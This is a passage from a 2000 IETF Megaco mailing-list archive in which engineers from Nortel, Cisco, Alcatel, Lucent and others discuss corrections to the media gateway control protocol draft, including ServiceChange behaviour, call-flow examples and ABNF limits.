below. > -----Original Message----- > From: Chip Sharp [SMTP:chsharp@CISCO.COM] > Sent: Tuesday, January 25, 2000 7:55 PM [[TomT]] snip > > Section: 11.2 > Category: Technical > Issue: When a gateway starts, it generates a restart > ServiceChange > to the MGC. If the MGC's response to the ServiceChange is lost while a > later command is received by the gateway, how this command is handled is > not specified in the draft text. > > Proposal: It is recommended that the gateway will return an error. > > v13 Status: OPEN. No text changed. > [[TomT]] Agreed in principle. This triggered thoughts of flooding attacks where the attacker masquerades as the MGC which it is indirectly trying to flood with error messages. I suppose we're OK so long as authentication failures are discarded silently. Anyway, I'll add a "clarification" to section 8.3 stating that the MG should respond with an error to authenticated messages from MGCs with which the MG is not currently associated. It's not quite so simple for MGCs receiving messages from strangers -- I guess the MGC has to look inside to determine whether to accept them. > Section: 11.2 > Category: Technical > Issue: The draft text specifies that "If the MGC accepts the MG, > it will send a Transaction Accept, with the MGCIdToTry set to itself. If > the MG receives an MGCIDToTry not equal to the MGC it contacted, it send a > ServiceChange to the MGC specified in the MGCIdToTry". It is inconsistent > to on one hand accept the transaction as successful, yet on the other hand > require the MG to examine the MGCIdToTry returned to determine if the > registration really was successful or not. Examination of the syntax > reveals that this is part of a larger problem where unsuccessful > transactions, actions and commands are not able to return any other > information than an ErrorDescriptor which can only contain an error code > and text. > Proposal: It is recommended that the above procedure is replaced by > return of an error code and another MGCIdToTry if the registration did not > complete. Furthermore, it is recommended that ErrorDescriptors are > extended > to allow return of other information (essentially CommandReply) than only > an error code and text. > > v13 Status: OPEN. No text changed [[TomT]] As I see it, redirection is different from a transaction error. The MGC processed the command successfully, and the response contains useful information. An error should be thought of as a situation where the responder reached a dead end when it tried to comply with the request. In general recovery from an error is pretty basic: kill the call. In special cases the error code and context should give enough information for recovery. > Support NetAid! http://www.netaid.org > -------------------------------------------------- > Chip Sharp Consulting Engineering > Cisco Systems Telco Bio-region > Reality - Love it or Leave it. > -------------------------------------------------- ------_=_NextPart_001_01BF6DF1.9044DCE2 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: Cisco SG16: Service Change

Comments = below.

    -----Original Message-----
    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]
    Sent:   Tuesday, January 25, 2000 7:55 PM
    [[TomT]]  snip
     
    Section:        = 11.2
    Category:       = Technical
    Issue:        &nb= sp; When a gateway starts, it generates a restart ServiceChange
    to the MGC. If the MGC's response to = the ServiceChange is lost while a
    later command is received by the = gateway, how this command is handled is
    not specified in the draft = text.

    Proposal:       It is = recommended that the gateway will return an error.

    v13 Status:     = OPEN. No text changed.

    [[TomT]]  Agreed in principle.  = This triggered thoughts of flooding attacks where the attacker = masquerades as the MGC which it is indirectly trying to flood with = error messages.  I suppose we're OK so long as authentication = failures are discarded silently.  Anyway, I'll add a = "clarification" to section 8.3 stating that the MG should = respond with an error to authenticated messages from MGCs with which = the MG is not currently associated.   It's not quite so = simple for MGCs receiving messages from strangers -- I guess the MGC = has to look inside to determine whether to accept = them.  

    Section:        = 11.2
    Category:       = Technical
    Issue:        &nb= sp; The draft text specifies that "If the MGC accepts the = MG,
    it will send a Transaction Accept, = with the MGCIdToTry set to itself. If
    the MG receives an MGCIDToTry not = equal to the MGC it contacted, it send a
    ServiceChange to the MGC specified in = the MGCIdToTry". It is inconsistent
    to on one hand accept the transaction = as successful, yet on the other hand
    require the MG to examine the = MGCIdToTry returned to determine if the
    registration really was successful or = not. Examination of the syntax
    reveals that this is part of a larger = problem where unsuccessful
    transactions, actions and commands = are not able to return any other
    information than an ErrorDescriptor = which can only contain an error code
    and text.
    Proposal:       It is = recommended that the above procedure is replaced by
    return of an error code and another = MGCIdToTry if the registration did not
    complete. Furthermore, it is = recommended that ErrorDescriptors are extended
    to allow return of other information = (essentially CommandReply) than only
    an error code and text.

    v13 Status:     = OPEN. No text changed
    [[TomT]] 
    As I see it, = redirection is different from a transaction error.  The MGC = processed the command successfully, and the response contains useful = information.  An error should be thought of as a situation where = the responder reached a dead end when it tried to comply with the = request.  In general recovery from an error is pretty basic: kill = the call.  In special cases the error code and context should give = enough information for recovery.









    Support NetAid!  = http://www.netaid.org
    --------------------------------------------------=
    Chip = Sharp           &= nbsp;     Consulting Engineering
    Cisco = Systems           = ;   Telco Bio-region
    Reality - Love it or Leave it.
    --------------------------------------------------=

------_=_NextPart_001_01BF6DF1.9044DCE2-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 22:30:29 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA26653 for ; Wed, 2 Feb 2000 22:30:29 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B65D7F80@standards.nortelnetworks.com>; Wed, 2 Feb 2000 22:27:39 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20272 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 22:26:35 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.90781CD0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 22:26:35 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 21:28:36 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Wed, 2 Feb 2000 22:28:28 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D5VBHX7>; Wed, 2 Feb 2000 22:28:28 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DF6.BBBA4092" Message-ID: Date: Wed, 2 Feb 2000 22:28:25 -0500 Reply-To: Nancy-M Greene Sender: "Media Gateway Control (megaco)" From: Nancy-M Greene Subject: Re: some comments on Appendix A of megaco : Example call flows X-To: "Ameneh.Zahir-Emami@ALCATEL.FR" To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DF6.BBBA4092 Content-Type: text/plain Ameneh, thanks for your comments - my comments are below. Nancy -------------------------------------------------------------------------- Nancy M. Greene Internet & Service Provider Networks, Nortel Networks T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com > ---------- > From: > Ameneh.Zahir-Emami@ALCATEL.FR[SMTP:Ameneh.Zahir-Emami@ALCATEL.FR] > Sent: Tuesday, February 01, 2000 6:09 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: some comments on Appendix A of megaco : Example call flows > > Although this appendix is only an example I found it very useful as i went > through the megaco protocol. > Here are some errors (at least I believe they are errors!) in the text > that might be worth it if corrected... > > 3- In the description of the local control descriptor and in the ds0 > package "ec" is supposed to be a boolean. [Nancy] Actually, this is an error in the ds0 package (in v14, section E.13.1). I would have thought that the MGC would want to be able to specify the echo cancellation algorithm to use. If so, then "on" in that package should be replaced with "g165", and any other echo cancellation algorithms that might be used need to be listed. > 16- Add A5555 should be added between context = 5000 and Add = A5556.... [Nancy] Yes in step 16, Context = 5000 { Add = A5556{ should be Context = 5000 { Add = A5555, Add = A5556{ end of chg. > 18- MG2 notifies the MGC that it has detected event 1234. But Event 1234 > has not been defined. It should be defined in 15: > > context = $ > Add = A5555 { Media { > Stream = 1 { > Local Control { mode = Send Receive} } > events = 1234 {al/of}, > signals {al/ri}........... [Nancy] Yes, the above change needs to be made to step 15. > 18- Fom MGC to MG2 A5555 is modified so that upon detection of a al/on > signal ringing is turned off. I guess the same command should be sent to > A4444 [Nancy] It is there actually - see step 19 - in the Modify to A4444, the line Signals {} stops ringback. > Hope I have understood the example. > Ameneh > Nancy ------_=_NextPart_001_01BF6DF6.BBBA4092 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: some comments on Appendix A of megaco : Example call = flows

Ameneh,
thanks for your = comments - my comments are below.

Nancy
-----------------------------------------------------------------= ---------
Nancy M. Greene
Internet & Service = Provider Networks, Nortel Networks
T:514-271-7221 = (internal:ESN853-1077) E:ngreene@nortelnetworks.com

    ----------
    From:   = Ameneh.Zahir-Emami@ALCATEL.FR[SMTP:Ameneh.Zahir-Emami@ALCATEL.FR]=
    Sent:   = Tuesday, February 01, 2000 6:09 = PM
    To: =     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject: =        some comments on Appendix A of megaco : Example call = flows

    Although this appendix is only an = example I found it very useful as i went through the megaco = protocol.
    Here are some errors (at least I = believe they are errors!) in the text that might be worth it if = corrected...

    3- In the description of the local = control descriptor and in the ds0 package "ec" is supposed to = be a boolean.

[Nancy]
Actually, this is = an error in the ds0 package (in v14, section E.13.1). I would have = thought that the MGC would want to be able to specify the echo = cancellation algorithm to use. If so, then "on" in that = package should be replaced with "g165", and any other echo = cancellation algorithms that might be used need to be listed. =


    16- Add A5555 should be added between = context =3D 5000 and Add =3D A5556....

[Nancy]
Yes in step 16, =
   Context =3D 5000 = {
      = Add =3D A5556{
should be
   Context =3D 5000 = {
      = Add =3D A5555,
      = Add =3D A5556{
end of chg.

    18- MG2 notifies the MGC that it has = detected event 1234. But Event 1234 has not been defined. It should be = defined in 15:

    context =3D $
    Add =3D A5555 { Media {
             &nb= sp;  Stream =3D 1 {
             &nb= sp;           &nb= sp;         Local Control { = mode =3D Send Receive} }
             &nb= sp;  events =3D 1234 {al/of},
             &nb= sp;  signals {al/ri}...........

[Nancy]
Yes, the above = change needs to be made to step 15.

    18- Fom MGC to MG2 A5555 is modified = so that upon detection of a al/on signal ringing is turned off. I guess = the same command should be sent to A4444

[Nancy]
It is there = actually - see step 19 - in the Modify to A4444, the line Signals {} = stops ringback.

    Hope I have understood the = example.
    Ameneh

Nancy

------_=_NextPart_001_01BF6DF6.BBBA4092-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 22:34:15 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA27515 for ; Wed, 2 Feb 2000 22:34:14 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4651C330@standards.nortelnetworks.com>; Wed, 2 Feb 2000 22:31:40 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20289 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 22:30:08 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0F4C11B0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 22:30:08 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 21:31:38 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Wed, 2 Feb 2000 22:31:26 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D5VBHYF>; Wed, 2 Feb 2000 22:31:26 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6DF7.267E8EE2" Message-ID: Date: Wed, 2 Feb 2000 22:31:24 -0500 Reply-To: Nancy-M Greene Sender: "Media Gateway Control (megaco)" From: Nancy-M Greene Subject: Re: v13 example X-To: Chuong Nguyen To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6DF7.267E8EE2 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Chuong, thanks for your comments - see my comments below: ------------------------------------------------------------------------= -- Nancy M. Greene=20 Internet & Service Provider Networks, Nortel Networks T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com > ---------- > From: Chuong Nguyen[SMTP:Chuong.Nguyen@USA.ALCATEL.COM] > Sent: Thursday, January 20, 2000 4:37 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: v13 example >=20 > Nancy=20 >=20 > In the example,=20 >=20 > Step 16 is missing a Add reply for A5555.=20 [Nancy] Yes, you are right. > Question about Subtract and Statistics.=A0 I know a decision was made = but I > could not find it in=20 > the archive.=A0 v13 does not clearly state what happens regarding = Subtract > and Statisitcs.=20 >=20 > Does Subtract always returns Statistics by default?=20 [Nancy] Yes=20 > To not get Statisitcs, one would use=20 > =A0=A0=A0 Subtract=3DA5555{Audit{}}=20 [Nancy] yes > The example implies Subtract does not return Statistics by = default.=A0 One > has to ask for it.=20 > =A0=A0=A0 Subtract=3DA5555{Audit{Statistics}} ,=20 > =A0=A0=A0 Subtract=3DA5556{Audit{Statistics}}=20 [Nancy] Yes, you are right, I could have just said Subtract =3D A5555{} > Maybe if your example could show one case where you get statistics = and not > get statistics=20 > on a Subtract, it will be very helpful.=20 >=20 > It might be helpful in following the example if physical termination = id > starts w/TDM or PHY, etc=20 > and RTP termination id starts with RTP.=20 [Nancy] Yes, that would have made the examples easier to follow, but I don't = think it is worth changing them now. > =A0=20 >=20 > Thanks=20 > Chuong=20 > --=A0 > =A0 Alcatel USA, Inc=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Internet: = Chuong.Nguyen@usa.alcatel.com > =A0 1000 Coit Road Plano, Texas 75075=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 = Phone:=A0=A0=A0 (972) 519-4613 > =A0 **** The opinions expressed are not those of Alcatel USA, Inc = **** >=20 Nancy > =A0 >=20 ------_=_NextPart_001_01BF6DF7.267E8EE2 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: v13 example

Chuong, thanks for = your comments - see my comments below:
-----------------------------------------------------------------= ---------
Nancy M. Greene
Internet & Service = Provider Networks, Nortel Networks
T:514-271-7221 = (internal:ESN853-1077) E:ngreene@nortelnetworks.com

    ----------
    From:   = Chuong = Nguyen[SMTP:Chuong.Nguyen@USA.ALCATEL.COM]
    Sent:   = Thursday, January 20, 2000 4:37 = PM
    To: =     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject: =        v13 example

    Nancy

    In the example,

    Step 16 is missing a Add reply for A5555. =

[Nancy]
Yes, you are = right.

    Question about Subtract and Statistics.=A0 I = know a decision was made but I could not find it in
    the archive.=A0 v13 does not clearly state = what happens regarding Subtract and Statisitcs.

    Does Subtract always returns Statistics by = default?

[Nancy]
Yes

    To not get Statisitcs, one would use
    =A0=A0=A0 Subtract=3DA5555{Audit{}}

[Nancy]
yes

    The example implies Subtract does not return = Statistics by default.=A0 One has to ask for it.
    =A0=A0=A0 Subtract=3DA5555{Audit{Statistics}} = ,
    =A0=A0=A0 Subtract=3DA5556{Audit{Statistics}} =

[Nancy]
Yes, you are right, = I could have just said Subtract =3D A5555{}

    Maybe if your example could show one case where = you get statistics and not get statistics
    on a Subtract, it will be very helpful. =

    It might be helpful in following the example if = physical termination id starts w/TDM or PHY, etc
    and RTP termination id starts with RTP. =

[Nancy]
Yes, that would = have made the examples easier to follow, but I don't think it is worth = changing them now.

    =A0

    Thanks
    Chuong
    --=A0
    =A0 Alcatel USA, Inc=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0 Internet: Chuong.Nguyen@usa.alcatel.com
    =A0 1000 Coit Road Plano, Texas = 75075=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Phone:=A0=A0=A0 (972) = 519-4613
    =A0 **** The opinions expressed = are not those of Alcatel USA, Inc ****

Nancy

    =A0

------_=_NextPart_001_01BF6DF7.267E8EE2-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 01:37:50 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA01554 for ; Thu, 3 Feb 2000 01:37:44 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E24CC190@standards.nortelnetworks.com>; Thu, 3 Feb 2000 1:34:59 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20535 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 01:33:42 -0500 Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B202B210@standards.nortelnetworks.com>; Thu, 3 Feb 2000 1:33:38 -0500 Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id LAA17650 for ; Thu, 3 Feb 2000 11:38:13 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 6525687A.001E89C7 ; Thu, 3 Feb 2000 11:03:33 +0530 X-Lotus-FromDomain: HSS Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Message-ID: <6525687A.001E6803.00@sandesh.hss.hns.com> Date: Thu, 3 Feb 2000 11:05:35 +0530 Reply-To: samittal@HSS.HNS.COM Sender: "Media Gateway Control (megaco)" From: Sachin Mittal Subject: Command API To: MEGACO@STANDARDS.NORTELNETWORKS.COM 1. I believe that in all the commands what is specified inside the bracket goes in command request and what is shown as return value comes in command reply. If this is true than why in ServiceChange the return value TerminationID missing. 2. Also from section 7.1 and 7.1.1 it appears that descriptors are returned in output only when a parameter in them is over-specified or under-specified and the returned descriptor provides the choosen value. Then why in case of return of ServiceChange descriptor the following holds true "If provided they shall be the same as those specified in the command". Is there any situation in which ServiceChange Descriptor parameters are over-specified or under-specified ??? 3. "The return from ServiceChange has the same parameters as the input except that ServiceChangeMethod and ServiceChangeReason are optional" They are not optional, they are not even allowed by the grammer. Is there a specific need for not allowing the same number of parameters to appear in ServiceChangeReply ??? (this is not done for other descriptors) From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 05:52:52 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA12932 for ; Thu, 3 Feb 2000 05:52:51 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.85975900@standards.nortelnetworks.com>; Thu, 3 Feb 2000 5:50:05 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20610 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 05:48:56 -0500 Received: from hoemlsrv.firewall.lucent.com (192.11.226.161) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5BE7CEF0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 5:48:56 -0500 Received: from hoemlsrv.firewall.lucent.com (localhost [127.0.0.1]) by hoemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id FAA19615 for ; Thu, 3 Feb 2000 05:51:04 -0500 (EST) Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31]) by hoemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id FAA19585 for ; Thu, 3 Feb 2000 05:51:03 -0500 (EST) Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id LAA25700; Thu, 3 Feb 2000 11:51:02 +0100 (MET) Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id LAA25642; Thu, 3 Feb 2000 11:50:44 +0100 (MET) X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 Original-CC: MEGACO@standards.nortelnetworks.com References: <3.0.3.32.20000202191949.054e5260@exchange1nj.dialogic.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <38995D24.7EC20FE5@lucent.com> Date: Thu, 3 Feb 2000 11:49:08 +0100 Reply-To: John Segers Sender: "Media Gateway Control (megaco)" From: John Segers Organization: Lucent Technologies Subject: Re: maximum size of a VALUE X-To: Steven Magnell To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit Steve, Brian and I had a little discussion on this earlier coming to the same conclusion. The idea was to lift the restriction in the ABNF, but, as you point out, we didn't actually do that. John Steven Magnell wrote: > > This may be minor compared to other issues, but it seems that the maximum > size of a VALUE is 64 characters (not including quotes) in the ABNF syntax. > It should be larger, perhaps arbitrary. The ASN.1 definition of Value does > not have this limitation. > > While this does not seem to be a concern with the basic packages, looking > ahead to upcoming packages such as the display and text telephone packages > in the otherpkgs draft and the cromwell ARF draft, there is a need to > support longer strings. The text telephone package, for example, defines > string parameters with a maximum of 256 characters and the others have > strings of arbitrary length where some larger string, such as a display or > text-to-speech announcement, would certainly be reasonable. > > steve magnell -- John Segers email: jsegers@lucent.com Lucent Technologies Room HE 306 Dept. Forward Looking Work phone: +31 35 687 4724 P.O. Box 18, 1270 AA Huizen fax: +31 35 687 5954 From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 09:19:22 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18588 for ; Thu, 3 Feb 2000 09:19:22 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.55FBABC0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:16:21 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20739 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 09:15:09 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C4A387C0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:05:08 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA11375; Thu, 3 Feb 2000 09:07:14 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA22108; Thu, 3 Feb 2000 09:07:11 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Thu, 3 Feb 2000 09:03:57 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6E4F.8308DD72" Message-ID: <4FBEA8857476D311A03300204840E1CF1A0D43@whq-msgusr-02.fore.com> Date: Thu, 3 Feb 2000 09:07:04 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: Cisco SG16: Annex E comments X-To: Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6E4F.8308DD72 Content-Type: text/plain; charset="iso-8859-1" I'm okay with making da-dd mandatory. I suppose it's a residential GW and/or IPPhone that might care. The packetcable stuff makes it mandatory, right? Any reaction from the IPPhone folks? Brian -----Original Message----- From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com] Sent: Wednesday, February 02, 2000 3:18 PM To: MEGACO@standards.nortelnetworks.com Subject: Re: Cisco SG16: Annex E comments Another issue, which has been discussed. The package is broken as it stands -- the MGC cannot tell whether the da-dd events are supported. We have three alternatives: the two Chip proposes, or keep things as they are and add a global read-only property which indicates whether da-dd are supported. I favour making support of da-dd mandatory, on the ground that the phone types served by the MG are independent of the MG itself. -----Original Message----- From: Chip Sharp [SMTP:chsharp@CISCO.COM] Sent: Tuesday, January 25, 2000 8:18 PM [[TomT]] snip Section: E.4 Category: Technical Issue: The draft text specifies that "Support of dA-dD is optional". Having optional events in a package tends to defeat the purpose of packages in the first place. Proposal: It is recommended that either support for the signals become mandatory or they are provided in a separate package. v13 Status: OPEN. No relevant text changed. ------_=_NextPart_001_01BF6E4F.8308DD72 Content-Type: text/html; charset="iso-8859-1" RE: Cisco SG16: Annex E comments
I'm okay with making da-dd mandatory.  I suppose it's a residential GW and/or IPPhone that might care.
The packetcable stuff makes it mandatory, right?  Any reaction from the IPPhone folks?
 
Brian
-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Wednesday, February 02, 2000 3:18 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: Cisco SG16: Annex E comments

Another issue, which has been discussed.  The package is broken as it stands -- the MGC cannot tell whether the da-dd events are supported.  We have three alternatives: the two Chip proposes, or keep things as they are and add a global read-only property which indicates whether da-dd are supported.  I favour making support of da-dd mandatory, on the ground that the phone types served by the MG are independent of the MG itself.

    -----Original Message-----
    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]
    Sent:   Tuesday, January 25, 2000 8:18 PM
    [[TomT]]  snip
    Section:        E.4
    Category:       Technical
    Issue:          The draft text specifies that "Support of dA-dD is optional".
    Having optional events in a package tends to defeat the purpose of packages
    in the first place.
    Proposal:       It is recommended that either support for the signals become
    mandatory or they are provided in a separate package.

    v13 Status:     OPEN. No relevant text changed.


------_=_NextPart_001_01BF6E4F.8308DD72-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 09:25:09 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18590 for ; Thu, 3 Feb 2000 09:19:22 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.56620EB0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:16:22 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20740 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 09:15:12 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C7522D00@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:05:12 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA11386; Thu, 3 Feb 2000 09:07:19 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA22105; Thu, 3 Feb 2000 09:07:11 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Thu, 3 Feb 2000 09:03:57 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Message-ID: <4FBEA8857476D311A03300204840E1CF1A0D42@whq-msgusr-02.fore.com> Date: Thu, 3 Feb 2000 09:07:01 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: Text PackageIDs X-To: Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM Hold on a minute. There were two subthreads to this thread, one of which ended with Christian agreeing with me that package names should not overlap protocol tokens while the other subthread had you worrying that we would run out of abbreviations if we restricted name spaces. It is clear that the grammar allows us to have an entirely separate namespace for package names, as the slash is a delimiter which allows the parser to disambiguate a package name from a protocol token. I don't like the idea of a package named KA, as in KeepActive so that you could say Signals=123{ka/ka{ka}}, but at least it's unambiguous. Could we not disallow a package name overlapping with protocol tokens? In thinking through this, I wonder about overlap of termination names with package names; the grammar could conceivably get confused, although I can't spot a case where a terminationID and a package item with the same name could be confused by other than the poor humans, as in Modify=ka/ka{lc{ka/ka=0},Events=123{ka/ka{ka/ka,ka},Signals{ka/ka{ka/ka}}} Looks like caca to me :) Maybe this is another of those IETF things where the sender shouldn't do it, but the receiver should allow it. Brian > -----Original Message----- > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com] > Sent: Wednesday, February 02, 2000 2:43 PM > To: MEGACO@standards.nortelnetworks.com > Subject: Text PackageIDs > > > Section 12.1.1 contains the statement that the text encoding > of a package > identifier must not be a keyword in the base protocol. This > contradicts the > conclusion of the thread "Megaco Reserved Names", 2-3 Nov > 1999. I will > record this one as an "error". > > Tom Taylor > Advisor -- Emerging Carrier IP Standards > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) > Phone and FAX: +1 613 736 0961 > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 09:32:15 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18996 for ; Thu, 3 Feb 2000 09:32:14 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.2A2FBF70@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:29:27 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 